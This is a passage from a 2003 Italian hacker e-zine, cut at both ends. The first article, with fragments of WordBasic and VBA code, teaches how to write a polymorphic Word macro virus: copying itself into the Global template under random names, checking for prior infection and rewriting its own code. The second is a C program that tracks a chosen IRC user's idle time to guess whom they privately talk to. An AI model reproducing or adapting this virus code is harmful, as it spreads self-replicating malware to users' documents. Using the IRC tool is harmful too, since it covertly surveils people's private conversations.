| |
| Z$ = X$ + Y$ 'Unisce i due valori |
| |
| R1$ = GetDocumentVar$("VirNameDoc") 'Salva la nuova macro con il nuovo |
| nome |
| CO$ = FileName$() + ":" + R1$ |
| MacroCopy CO$, "Global:" + Z$ |
| SetProfileString "Intl", "Info2", Z$ |
| ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = |
| Z$, .Add, .Context = 0 'Questo non lo so, ha qualcosa a che fare |
| con le barre dei pulsanti. Credo che ne inserisca una collegata alla |
| macro |
| End Sub |
| |
| Sub Run2 |
| X$ = Fun$(F$, G$, H$, J$) 'Idem come sopra |
| Y$ = Fun$(F$, G$, H$, J$) |
| |
| Z$ = X$ + Y$ |
| |
| R2$ = GetDocumentVar$("VirName") 'Idem come sopra |
| OC$ = FileName$() + ":" + R2$ |
| MacroCopy OC$, "Global:" + Z$ |
| SetProfileString "Intl", "Info1", Z$ |
| ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = |
| Z$, .Add, .Context = 0 |
| End Sub |
| |
| Function VInstalled 'Verifica se il |
| documento è già infettato |
| CC$ = GetProfileString$("Intl", "Info1") |
| VInstalled = 0 |
| If CountMacros(0) > 0 Then |
| For i = 1 To CountMacros(0) |
| If MacroName$(i, 0) = CC$ Then |
| VInstalled = 1 |
| End If |
| Next i |
| End If |
| End Function |
| |
| Function Fun$(F$, G$, H$, J$) 'Ecco il vero |
| motore del poliformismo |
| One = 1169 |
| Two = 9294 |
| Num = Int(Rnd() * (Two - One) + One) 'Genera in numero a caso |
| compreso tra 1169 e 9294 |
| A$ = Str$(Num) |
| A$ = LTrim$(A$) |
| |
| B$ = Mid$(A$, 1, 1) |
| C$ = Mid$(A$, 2, 1) |
| D$ = Mid$(A$, 3, 1) |
| E$ = Mid$(A$, 4, 1) |
| |
| If B$ = "1" Then F$ = "A" 'Crea il nome con cui |
| salvare la macro |
| If B$ = "2" Then F$ = "B" |
| If B$ = "3" Then F$ = "C" |
| If B$ = "4" Then F$ = "D" |
| If B$ = "5" Then F$ = "E" |
| If B$ = "6" Then F$ = "F" |
| If B$ = "7" Then F$ = "G" |
| If B$ = "8" Then F$ = "H" |
| If B$ = "9" Then F$ = "I" |
| If B$ = "0" Then F$ = "J" |
| |
| If C$ = "1" Then G$ = "H" |
| If C$ = "2" Then G$ = "I" |
| If C$ = "3" Then G$ = "J" |
| If C$ = "4" Then G$ = "K" |
| If C$ = "5" Then G$ = "L" |
| If C$ = "6" Then G$ = "M" |
| If C$ = "7" Then G$ = "N" |
| If C$ = "8" Then G$ = "O" |
| If C$ = "9" Then G$ = "P" |
| If C$ = "0" Then G$ = "Q" |
| |
| If D$ = "1" Then H$ = "A" |
| If D$ = "2" Then H$ = "B" |
| If D$ = "3" Then H$ = "C" |
| If D$ = "4" Then H$ = "D" |

  

| If D$ = "5" Then H$ = "E" |
| If D$ = "6" Then H$ = "F" |
| If D$ = "7" Then H$ = "G" |
| If D$ = "8" Then H$ = "H" |
| If D$ = "9" Then H$ = "I" |
| If D$ = "0" Then H$ = "J" |
| |
| If E$ = "1" Then J$ = "R" |
| If E$ = "2" Then J$ = "S" |
| If E$ = "3" Then J$ = "T" |
| If E$ = "4" Then J$ = "U" |
| If E$ = "5" Then J$ = "V" |
| If E$ = "6" Then J$ = "W" |
| If E$ = "7" Then J$ = "X" |
| If E$ = "8" Then J$ = "Y" |
| If E$ = "9" Then J$ = "Z" |
| If E$ = "0" Then J$ = "Q" |
| |
| Fun$ = F$ + G$ + H$ + J$ 'Nome ottenuto |
| End Function |
| ----------------------------------------- |
| |
| Non fate caso ai comandi, sono per Wordbasic, in pratica il padre delle |
| macro odierne. |
| Quello che ci interessa è il sistema utilizzato: generando un numero |
| casuale da cui dipendono lettere casuali assegna alle macro un nome |
| diverso ad ogni infezione. |
| Ma come adattarlo al nostri tempi? Io l'ho vista così: |
| |
| ----------------------------------------- |
| Sub Poliformico() |
| Risultato = Fun(uno, due, tre, quattro) |
| 'Chiamo la function |
| Risulta = Fun(uno, due, tre, quattro) |
| 'Chiamo la function |
| Risultati = Risultato + Risulta |
| NormalTemplate.VBProject.VBComponents("Nome_del_modulo").Name = |
| Risultati 'Modifico il nome del modulo |
| End Sub |
| |
| Function Fun(uno, due, tre, quattro) |
| Primo = 1837 |
| Secondo = 9452 |
| Numero = Int(Rnd() * (Secondo - Primo) + Primo) |
| 'Genero il numero casuale |
| |
| uno = Left(Numero, 1) |
| 'Prendo il primo numero a sinistra |
| due = Right(Numero, 1) |
| 'Prendo il primo numero a destra |
| tre = Mid(Numero, 2, 1) |
| 'Prendo il secondo numero da destra |
| quattro = Mid(Numero, 3, 1) 'Prendo |
| il terzo numero da destra |
| |
| If uno = "1" Then uno = "A" 'Ora |
| calcolo le quattro lettere |
| If uno = "2" Then uno = "W" |
| If uno = "3" Then uno = "Q" |
| If uno = "4" Then uno = "X" |
| If uno = "5" Then uno = "K" |
| If uno = "6" Then uno = "j" |
| If uno = "7" Then uno = "r" |
| If uno = "8" Then uno = "p" |
| If uno = "9" Then uno = "s" |
| If uno = "0" Then uno = "h" |
| |
| If due = "1" Then due = "T" |
| If due = "2" Then due = "Y" |
| If due = "3" Then due = "E" |
| If due = "4" Then due = "B" |
| If due = "5" Then due = "Z" |
| If due = "6" Then due = "w" |
| If due = "7" Then due = "i" |
| If due = "8" Then due = "o" |
| If due = "9" Then due = "u" |
| If due = "0" Then due = "n" |
| |
| If tre = "1" Then tre = "H" |
| If tre = "2" Then tre = "L" |
| If tre = "3" Then tre = "C" |
| If tre = "4" Then tre = "T" |
| If tre = "5" Then tre = "I" |
| If tre = "6" Then tre = "q" |
| If tre = "7" Then tre = "a" |
| If tre = "8" Then tre = "z" |
| If tre = "9" Then tre = "f" |
| If tre = "0" Then tre = "m" |
| |
| If quattro = "1" Then quattro = "F" |
| If quattro = "2" Then quattro = "R" |
| If quattro = "3" Then quattro = "M" |
| If quattro = "4" Then quattro = "B" |
| If quattro = "5" Then quattro = "E" |
| If quattro = "6" Then quattro = "d" |
| If quattro = "7" Then quattro = "y" |
| If quattro = "8" Then quattro = "x" |
| If quattro = "9" Then quattro = "v" |
| If quattro = "0" Then quattro = "p" |
| |
| Fun = uno + due + tre + quattro 'Nome |
| ottenuto |
| End Function |
| ----------------------------------------- |
| |
| Ho mantenuto lo stesso principio utilizzato da Jocker. |
| Ovviamente ho tralasciato la parte in cui viene verificato se il |
| documento è già infetto e quella in cui viene infettato. |
| A questo punto abbiamo ottenuto una macro che modifica il nome del |
| modulo, non una macro poliformica. |
| Se ci fate caso, assemblando questo codice con le parti che ho omesso |
| otterremmo una mega-macro "cieca": non riuscendo ad identificare il |
| nome del modulo (è stato cambiato) crede che il documento non sia |
| ancora stato infettato, così si re-salva ancora e ancora e ancora.. |
| Le soluzioni sono 2: o memorizziamo il nuovo nome del modulo da qualche |
| parte, o troviamo un'altra strada. |
| La seconda. |
| Fino ad ora noi abbiamo verificato se il documento è stato |
| infettato "leggendo" i nomi dei moduli presenti, e se il nostro non |
| viene trovato facciamo sì che macro si salvi in quel documento. |
| Adesso invece potremmo fare un passo avanti: al posto di leggere il |
| nome del modulo ne leggiamo direttamente il codice. |
| |
| Lines(Riga di inizio, Riga finale) 'Legge la riga partendo da "Riga |
| di inizio"
fino a "Riga finale" |
| |
| Quindi: |
| |
| ---------- |
| Nome = NormalTemplate.VBProject.VBComponents |
| ("Nome_del_modulo").CodeModule.Lines(1, 1) |
| If Nome <> "'Polymorph" Then |
| 'Infetta |
| End If |
| ---------- |
| |
| Questo codice va sostituito a quello che verifica il nome del modulo, |
| ovviamente in corrispondenza della linea 1 (in questo caso) dovrete |
| scrivere 'Polymorph. Vanno apportate alcune modifiche: |
| |
| ---------- |
| For i = 1 To NormalTemplate.VBProject.VBComponents.Count |
| Parola = NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(6, 1) |
| 'Cerchiamo la parola |
| If Parola = "'Polymorph!" Then |
| Risultato = 1 |
| 'Impostiamo un valore a caso |
| End If |
| Next |
| If Risultato <> 1 Then |
| 'Se il valore impostato prima è diverso |
| significa che nessun modulo è nostro, quindi.. |
| 'Infettiamo |
| End If |
| End Sub |
| ---------- |
| |
| Già che siamo in argomento vediamo anche DeleteLines e InsertLines: |
| |
| DeleteLines(Inizio, Fine) 'Cancella linee di codice |
| InsertLines(Posizione,Stringa) 'Inserisce linee di codice |
| |
| NormalTemplate.VBProject.VBComponents |
| ("Nome_del_modulo").CodeModule.InsertLines 6, "'Polymorph" |
| NormalTemplate.VBProject.VBComponents |
| ("Nome_del_modulo").CodeModule.DeleteLines 6, 1 |
| |
| Riassumendo, ora abbiamo ottenuto una macro che verifica se i vari |
| moduli contengono una parola in particolare e, se no, infetta il |
| documento. Il cambiamento del nome potete farlo anche dopo aver |
| importato il modulo nel documento da infettare, decidete voi. |
| Se volete che la macro sia ancora più simile a quella di Jocker, dovete |
| cambiarle anche i nomi usando DeleteLines e InsertLines, ricordando |
| però che AutoExec/AutoClose/... non vanno cambiati. |
| Per quando riguarda questa parte abbiamo finito, nella prossima vedremo |
| il poliformismo del codice. |
| |
| |
| Mastro(macro2000@viriglio.it) |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| QUERY GUESSiNG [eazy] 0x0D/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| |
| Quello che segue non è un vero e proprio articolo bensì un abbozzo di |
| codice che descrive un'idea curiosa partorita dalla mia mente. |
| Lo scopo che mi sono posto è quello di scrivere un programmino che sia |
| in grado di prevedere con un certo margine di errore con chi è in query |
| un certo utente IRC. |
| |
| La cosa curiosa è che tale programma non opera nessun tipo di |
| dirottamento della sessione o sniffing del traffico bensì cerca di |
| attuare una semplice analisi statistica dei dati che il server IRC |
| stesso mette a disposizione. |
| Il tutto si basa, infatti, sull'analisi del valore dell'idle degli |
| utenti che viene campionato ed analizzato dal programma. |
| Non mi addentrerò nella spiegazione della tecnica adottata volutamente |
| per incentivare anche i più pigri di voi a leggersi qualche riga di |
| codice :P |
| |
| Il programma prende due argomenti dalla linea di comando: |
| |
| argv[1] l'indirizzo IP del server IRC; |
| argv[2] il nickname dell'utente che si desidera monitorare. |
| |
| Una volta connesso ad IRC il programma esegue un WHOIS sul nickname |
| specificato come argv[2] e parsa la reply per ricavarsi i canali nei |
| quali risiede l'utente. Una volta in possesso dei canali fa JOIN sugli |
| stessi. |
| |
| /* |
| * Build a list of the channel that the nickname supplied |
| * from the command line has joined |
| */
|
| if(list == NULL){ |
| while(!channel_sampler(buff, &list, argv[2])){ |
| strncpy(buff, "WHOIS ", sizeof(buff)); |
| strncat(buff, argv[2], sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| } |
| . |
| . |
| . |
| . |
| } |
| |
| |
| Una volta generata la lista dei nickname presenti in ogni canale viene |
| settato un timer della durata di 30 secondi che, da adesso in poi, |
| regolerà la frequenza con la quale il programma effettuerà i |
| campionamenti relativi al valore dell'idle accumulato da ogni utente. |
| |
| /* |
| * Buid or update the list of the nick in the channel from |
| * the RPL_NAMREPLY message received from the server |
| */
|
| if(nick_list(buff, list)){ |
| if(first){ |
| |
| /* |
| * Set the first alarm() that elicit a SIGALRM signal |
| * handled by sig_handler() |
| */
|
| if(alarm(30) != 0) |
| printf("alarm was already setn"); |
| first = 0; |
| } |
| . |
| . |
| . |
| . |
| . |
| . |
| } |
| |
| |
| Il valore dell'idle per ogni utente viene memorizzato nella variabile |
| idle di tipo long all'interno della struct. Per ogni utente del canale |
| viene inoltre calcolata la somma del proprio idle più l'idle relativo al |
| nick monitorato. Nel qual caso tale valore dovesse risultare inferiore |
| a IDLE_THRESHOLD * 2 il valore di trust dell'utente verrà incrementato |
| in maniera inversamente proporzionale al valore ottenuto da tale somma. |
| In caso contrario il valore di trust dell'utente verrà azzerato. |
| |
| while(index_nick != NULL){ |
| add_idle = nickname_idle + index_nick->idle; |
| |
| /* |
| * If the sum of the idle of the nickname specified from the |
| * command line and the one retrived from the nick list is bigger |
| * than IDLE_THRESHOLD * 2, then the trust value of the retrived |
| * nick will be set to 0 |
| */
|
| if(add_idle > IDLE_THRESHOLD * 2){ |
| index_nick->trust = 0; |
| index_nick = index_nick->next; |
| continue; |
| } |
| |
| /* |
| * The trust for the nick in the channel will be increased |
| * proportionally to the value of the sum calcolated as described |
| * above |
| */
|
| else if(add_idle <= IDLE_THRESHOLD * 2 / 3) |
| index_nick->trust += 3; |
| else if(add_idle <= IDLE_THRESHOLD * 4 / 3) |
| index_nick->trust += 2; |
| else |
| index_nick->trust++; |
| index_nick = index_nick->next; |
| } |
| |
| |
| Il trust di un utente viene azzerato anche in presenza di un dialogo |
| dello stesso in uno dei canali monitorati. |
| |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL && |
| strcmp(token, index_nick->nickname) != 0) |
| index_nick = index_nick->next; |
| |
| /* |
| * To reset the nickname we assign a trust value of -3 |
| * because in the next idle probe its value will be |
| * incremented and will reach the 0 |
| */
|
| if(index_nick != NULL) |
| index_nick->trust = -3; |
| index = index->next; |
| } |
| |
| |
| La funzione idle_check() controlla periodicamente i valori relativi al |
| trust di ogni utente e nel caso raggiungano la soglia prestabilita |
| avvisa riguardo la presenza di una possibile query tra l'utente e il |
| soggetto monitorato. |
| |
| while(index_nick != NULL){ |
| |
| /* |
| * If the trust value of a nickname in the channel has reached |
| * the value specified by the TRUST constant, prompt the user |
| * for possible query between this user and the one specified |
| * as argument of the command line |
| */
|
| if(index_nick->trust >= TRUST && |
| strcmp(nickname, index_nick->nickname) != 0) |
| printf("possibile query con %sn", index_nick->nickname); |
| index_nick = index_nick->next; |
| } |
| |
| |
| Come già detto in precedenza questo è solo un abbozzo del programma, |
| l'output fornito è molto grezzo, l'algoritmo alla base delle statistiche |
| è molto rudimentale ed è passibile di miglioramenti. |
| Inoltre, allo stato attuale delle cose rimangono dei problemi aperti, in |
| particolare il programma non è in grado di rilevare la presenza |
| dell'utente in canali +s, non è prevista la possibilità che la query |
| interessi due utenti che non abbiano almeno un canale in comune, infine |
| vengono osservati esclusivamente i canali dell'utente monitorato e non |
| quelli dei possibili interlocutori. |
| |
| L'indentazione del sorgente è molto contenuta al fine di rispettare |
| l'impaginazione imposta dalla zine, ad ogni modo tra gli allegati è |
| possibile trovare lo stesso sorgente indentato in maniera più leggibile, |
| i commenti nel codice non mancano, non mi resta che augurarvi una buona |
| lettura :) |
| |
| |
| |
| |
| /* |
| * Query Guessing |
| * by eazy, eazy@ondaquadra.org |
| * |
| * This program analize the idle of an IRC user and try to guess |
| * for possible query with other user. The query prediction isn't |
| * alway true, anyway try it and have fun :) |
| */
|
| |
| #include <sys/socket.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <netinet/in.h> |
| #include <stdlib.h> |
| #include <signal.h> |
| #include <sys/time.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| #define PORT 6667 |
| #define USER "USER prolipol 192.168.1.4 irc.azzurra.org :telnetn" |
| #define NICK "NICK prolipoln" |
| #define TIMEOUT 5 |
| #define IDLE_THRESHOLD 120 |
| #define TRUST 12 |
| #define N 10 |
| |
| typedef struct nick{ |
| char *nickname; |
| long idle; |
| int trust; |
| struct nick *next; |
| } nick; |
| |
| typedef struct chan{ |
| char *channel; |
| nick *lnick; |
| struct chan *next; |
| } chan; |
| |
| int sock_global, count = 0; |
| chan *list_global, *update_global = NULL; |
| char *nick_global; |
| |
| ssize_t writen(int fd, const void *buf, size_t count){ |
| |
| if(write(fd, buf, count) < 0){ |
| printf("write errorn"); |
| exit(0); |
| } |
| } |
| |
| /* |
| * Send a PONG message as reply to server PING |
| * |
| * From Request for Comments: 2812 |
| * |
| * The PING command is used to test the presence of an active client or |
| * server at the other end of the connection. Servers send a PING |
| * message at regular intervals if no other activity detected coming |
| * from a connection. If a connection fails to respond to a PING |
| * message within a set amount of time, that connection is closed. A |
| * PING message MAY be sent even if the connection is active. |
| * |
| * When a PING message is received, the appropriate PONG message MUST be |
| * sent as reply to <server1> (server which sent the PING message out) |
| * as soon as possible. If the <server2> parameter is specified, it |
| * represents the target of the ping, and the message gets forwarded |
| * there. |
| */
|
| |
| int ping_pong(int sock, char *buff){ |
| |
| char temp[5]; |
| char reply[100]; |
| |
| strncpy(temp, buff, sizeof(char) * 4); |
| temp[4] = 0; |
| if(strcmp(temp, "PING") == 0){ |
| strncpy(reply, "PONG", sizeof(reply)); |
| strncat(reply, buff + 4, sizeof(reply) - strlen(reply) - 1); |
| writen(sock, reply, strlen(reply)); |
| return(1); |
| } |
| return(0); |
| |
| } |
| |
| /* |
| * Buid a list of the nick in the channel from the |
| * RPL_NAMREPLY message received from the server |
| * |
| * From Request for Comments: 2812 |
| * |
| * 353 RPL_NAMREPLY |
| * "( "=" / "*" / "@" ) <channel> |
| * :[ "
@" / "+" ] <nick> *( " " [ "@" / "+" ] <nick> ) |
| * |
| * - "
@" is used for secret channels, "*" for private |
| * channels, and "
=" for others (public channels). |
| * |
| * - To reply to a NAMES message, a reply pair consisting |
| * of RPL_NAMREPLY and RPL_ENDOFNAMES is sent by the |
| * server back to the client. If there is no channel |
| * found as in the query, then only RPL_ENDOFNAMES is |
| * returned. The exception to this is when a NAMES |
| * message is sent with no parameters and all visible |
| * channels and contents are sent back in a series of |
| * RPL_NAMEREPLY messages with a RPL_ENDOFNAMES to mark |
| * the end. |
| */ |
| |
| int nick_list(char *buff, chan *list){ |
| |
| int flag, first, exit = 0; |
| char *s, *temp, *token, *channel, *next; |
| char **p = &next; |
| chan *index; |
| nick *index_nick, *index_nick_old; |
| |
| flag = 0; |
| s = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse the input string to verify if it is a RPL_NAMREPLY |
| */ |
| if( (token = (char *)strtok_r(temp, "
", p)) != NULL){ |
| if(strcmp(token, "
353") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| while(flag == 0 && (token = (char *)strtok_r(NULL, "
", p)) != NULL) |
| { |
| if(strcmp(token, "
353") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| } |
| } |
| |
| /* |
| * If the parsed string is a RPL_NAMREPLY, remove useless token |
| * from it |
| */ |
| if(flag == 1 && (char *)strtok(s, "
") != NULL){ |
| if((char *)strtok(NULL, "
") == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * Save the channel name from the parsed string and search for it |
| * in the channel list already build by channel_sampler() |
| */ |
| if( (channel = (char *)strtok(NULL, "
")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| index = list; |
| while(index != NULL && strcmp(channel, index->channel) != 0) |
| index = index->next; |
| if(index == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| first = 1; |
| index_nick_old = index->lnick; |
| |
| /* |
| * Build a list of nick in the channel. The while loop end when |
| * strtok() return NULL or at the first token that begin or end |
| * with a line feed or carriage return |
| */ |
| while(( (token = (char *)strtok(NULL, "
")) != NULL) && |
| (token[0] != 'n' && token[0] != 'r') && (exit == 0)){ |
| if(first){ |
| index->lnick = (nick *)malloc(sizeof(nick)); |
| |
| /* |
| * Remove op and voice symbols from the nickname |
| */ |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| |
| /* |
| * If the token end with a line feed or carriage return remove |
| * the last character and break the while loop |
| */ |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| index->lnick->nickname = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy(index->lnick->nickname, token); // use strncpy() instead |
| index->lnick->idle = 0; |
| index->lnick->trust = 0; |
| index->lnick->next = NULL; |
| index_nick = index->lnick; |
| first = 0; |
| } |
| else{ |
| index_nick->next = (nick *)malloc(sizeof(nick)); |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| index_nick->next->nickname = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy(index_nick->next->nickname, token); // use strncpy() |
| index_nick->next->idle = 0; |
| index_nick->next->trust = 0; |
| index_nick->next->next = NULL; |
| index_nick = index_nick->next; |
| } |
| } |
| if(index->lnick != NULL){ |
| |
| /* |
| * Copy in the new nick list the values of idle and trust from |
| * the old one |
| */ |
| if(index_nick_old != NULL){ |
| while(index_nick_old != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| if(strcmp(index_nick_old->nickname, |
| index_nick->nickname) == 0){ |
| index_nick->idle = index_nick_old->idle; |
| index_nick->trust = index_nick_old->trust; |
| } |
| index_nick = index_nick->next; |
| } |
| index_nick_old = index_nick_old->next; |
| } |
| } |
| free(s); |
| free(temp); |
| return(1); |
| } |
| } |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * Parse and sample the idle contained in the RPL_WHOISIDLE |
| * message received in responce of the WHOIS issued by |
| * idle_prober() function |
| * |
| * From Request for Comments: 2812 |
| * |
| * 317 RPL_WHOISIDLE |
| * "
<nick> <integer> :seconds idle" |
| * |
| * - Replies 311 - 313, 317 - 319 are all replies |
| * generated in response to a WHOIS message. |
| */ |
| |
| int idle_sampler(char *buff, nick *list){ |
| |
| int flag; |
| char *s, *temp, *token, *nickname, *idle, *next; |
| char **p = &next; |
| nick *index; |
| |
| flag = 0; |
| s = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse the input string to verify if it is a valid |
| * RPL_WHOISIDLE message |
| */ |
| if( (token = (char *)strtok_r(temp, "
", p)) != NULL){ |
| if(strcmp(token, "
317") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| while(flag == 0 && (token = (char *)strtok_r(NULL, "
", p)) != NULL) |
| { |
| if(strcmp(token, "
317") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| } |
| } |
| |
| /* |
| * If the parsed string is a RPL_WHOISIDLE message, remove |
| * useless token from it |
| */ |
| if(flag == 1 && (char *)strtok(s, "
") != NULL){ |
| |
| /* |
| * Save the nickname from the parsed string and search for it |
| * in the nick list already build by nick_list() |
| */ |
| if( (nickname = (char *)strtok(NULL, "
")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| index = list; |
| while((index != NULL) && (strcmp(nickname, index->nickname) != 0)) |
| index = index->next; |
| if(index == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| else{ |
| |
| /* |
| * If the nickname contained in the RPL_WHOISIDLE is found in |
| * the nick list, the value of the idle is stored in the nick |
| * struct |
| */ |
| if( (idle = (char *)strtok(NULL, "
")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| index->idle = atol(idle); |
| } |
| free(s); |
| free(temp); |
| return(1); |
| } |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * Build a list of the channel that a specific nickname has joined. |
| * The list is derived from the RPL_WHOISCHANNELS message received |
| * from the server in response to a WHOIS message for that nickname |
| * |
| * From Request for Comments: 2812 |
| * |
| * 319 RPL_WHOISCHANNELS |
| * "
<nick> :*( ( "@" / "+" ) <channel> " " )" |
| * |
| * - Replies 311 - 313, 317 - 319 are all replies |
| * generated in response to a WHOIS message. Given that |
| * there are enough parameters present, the answering |
| * server MUST either formulate a reply out of the above |
| * numerics (if the query nick is found) or return an |
| * error reply. The '*' in RPL_WHOISUSER is there as |
| * the literal character and not as a wild card. For |
| * each reply set, only RPL_WHOISCHANNELS may appear |
| * more than once (for long lists of channel names). |
| * The '@' and '+' characters next to the channel name |
| * indicate whether a client is a channel operator or |
| * has been granted permission to speak on a moderated |
| * channel. The RPL_ENDOFWHOIS reply is used to mark |
| * the end of processing a WHOIS message. |
| */ |
| |
| int channel_sampler(char *buff, chan **list, char *nick){ |
| |
| int flag, first = 1, exit = 0; |
| char *s, *temp, *token, *nickname, *next; |
| char **p = &next; |
| chan *index; |
| |
| flag = 0; |
| s = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse the input string and verify if it is a valid |
| * RPL_WHOISCHANNELS message |
| */ |
| if( (token = (char *)strtok_r(temp, "
", p)) != NULL){ |
| if(strcmp(token, "
319") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| while(flag == 0 && (token = (char *)strtok_r(NULL, "
", p)) != NULL) |
| { |
| if(strcmp(token, "
319") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| } |
| } |
| |
| /* |
| * If the parsed string is a RPL_WHOISCHANNELS message, remove the |
| * useless token and save the nickname which the reply refer to. |
| * After that, compare the nickname saved from the string with the |
| * one supplied as argv of the main() |
| */ |
| if(flag == 1 && (char *)strtok(s, "
") != NULL){ |
| if( (nickname = (char *)strtok(NULL, "
")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| if(strcmp(nickname, nick) == 0){ |
| |
| /* |
| * Build a list of the channel that the supplied nickname has |
| * joined. If the strcmp() in the previous statment return 0, |
| * the while loop parse the RPL_WHOISCHANNELS message until |
| * strtok() return NULL or return a token that begin or end |
| * with a line feed or carriage return |
| */ |
| while(( (token = (char *)strtok(NULL, "
")) != NULL) && |
| (token[0] != 'n' && token[0] != 'r') && (exit == 0)){ |
| if(first){ |
| *list = (chan *)malloc(sizeof(chan)); |
| |
| /* |
| * Remove op and voice symbols from the nickname |
| */
|
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| |
| /* |
| * If the token end with a line feed or carriage return remove |
| * the last character and break the while loop |
| */
|
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| (*list)->channel = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy((*list)->channel, token); // use strncpy() instead |
| (*list)->lnick = NULL; |
| (*list)->next = NULL; |
| index = *list; |
| first = 0; |
| } |
| else{

  
|
| index->next = (chan *)malloc(sizeof(nick)); |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| index->next->channel = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy(index->next->channel, token); // use strncpy() instead |
| index->next->lnick = NULL; |
| index->next->next = NULL; |
| index = index->next; |
| } |
| } |
| if(*list != NULL){ |
| free(s); |
| free(temp); |
| return(1); |
| } |
| } |
| } |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * For every nick in all channel issue a WHOIS that elicit a |
| * RPL_WHOISIDLE message in response, the value of the idle |
| * contained in this message will be parsed and stored in the |
| * nick struct by the idle_sampler() function |
| */
|
| |
| void idle_prober(int sock, chan *list){ |
| |
| int r; |
| chan *index = list; |
| nick *index_nick; |
| char buff[1000], probe[256]; |
| fd_set readset; |
| struct timeval time; |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| FD_ZERO(&readset); |
| FD_SET(sock, &readset); |
| time.tv_sec = TIMEOUT; |
| time.tv_usec = 0; |
| |
| strncpy(probe, "WHOIS ", sizeof(probe)); |
| strncat(probe, index_nick->nickname, |
| sizeof(probe) - strlen(probe) - 1); |
| strncat(probe, " ", sizeof(probe) - strlen(probe) - 1); |
| strncat(probe, index_nick->nickname, |
| sizeof(probe) - strlen(probe) - 1); |
| strncat(probe, "n", sizeof(probe) - strlen(probe) - 1); |
| writen(sock, probe, strlen(probe)); |
| |
| /* |
| * Set a timeout on the I/O operation performed by read() |
| * It's possible to redefine TIMEOUT to modify the amount of |
| * time that select() must wait a response before return |
| */
|
| if(select(sock + 1, &readset, NULL, NULL, &time) > 0){ |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| buff[r] = 0; |
| } |
| else{ |
| buff[0] = 0; |
| printf("read timeoutn"); |
| } |
| |
| /* |
| * Parse and sample the idle contained in the RPL_WHOISIDLE |
| * message received in responce of the WHOIS issued above |
| */
|
| if(idle_sampler(buff, index->lnick)); |
| else (ping_pong(sock, buff)); |
| reset_trust(buff, list, nick_global); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| |
| /* |
| * Calculate and update channel statistics based on the values |
| * sampled by idle_sampler() |
| */
|
| |
| void idle_stat(chan *list, char *nickname){ |
| |
| chan *index = list; |
| nick *index_nick; |
| long nickname_idle, add_idle; |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| |
| /* |
| * Search in the nick list for the nickname supplied as argv |
| * of the main() |
| */
|
| while(index_nick != NULL && strcmp(nickname, |
| index_nick->nickname) != 0) |
| index_nick = index_nick->next; |
| |
| /* |
| * If the nickname supplied as argument in the command line is |
| * not found in the channel, set the idle for that nick to a |
| * dummy value. This cause the trust value of all the nick in |
| * the channel to be set to 0 |
| */
|
